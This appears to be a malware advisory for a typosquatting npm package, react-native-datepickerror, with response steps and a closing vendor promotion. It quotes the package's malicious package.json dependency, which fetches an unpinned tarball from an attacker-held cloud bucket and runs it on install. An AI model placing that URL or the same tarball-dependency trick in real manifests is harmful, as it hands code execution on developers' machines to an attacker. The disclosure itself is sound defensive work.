react-native-datepickerrornpm
Advisory published Updated
react-native-datepickerror is a confirmed malicious npm package (MAL-2026-20197) that typosquats a legitimate package to trick installs (malicious version 99.9.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in react-native-datepickerror (npm)
What this malware does
[email protected] ships an empty index.js stub; its entire effect on install is dependency resolution. package.json declares its only dependency as a direct tarball URL — "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-4.0.6.tgz" — rather than a registry version range. npm install fetches that tarball from a Google Cloud Storage bucket and installs whatever bytes it returns, running any lifecycle scripts inside with no version pin, no registry provenance, and no integrity check; the bucket owner controls code execution on every installer. The package name differs from the popular react-native-datepicker by a single trailing typo, and the version 99.9.1 is implausibly high — both consistent with a typosquat lure designed to win resolution and pull in attacker-controlled code.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for react-native-datepickerror (version 99.9.1).
If you installed it — respond
react-native-datepickerror is a typosquat — you almost certainly intended a legitimately-named package. Remove react-native-datepickerror, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If react-native-datepickerror was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks react-native-datepickerror-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.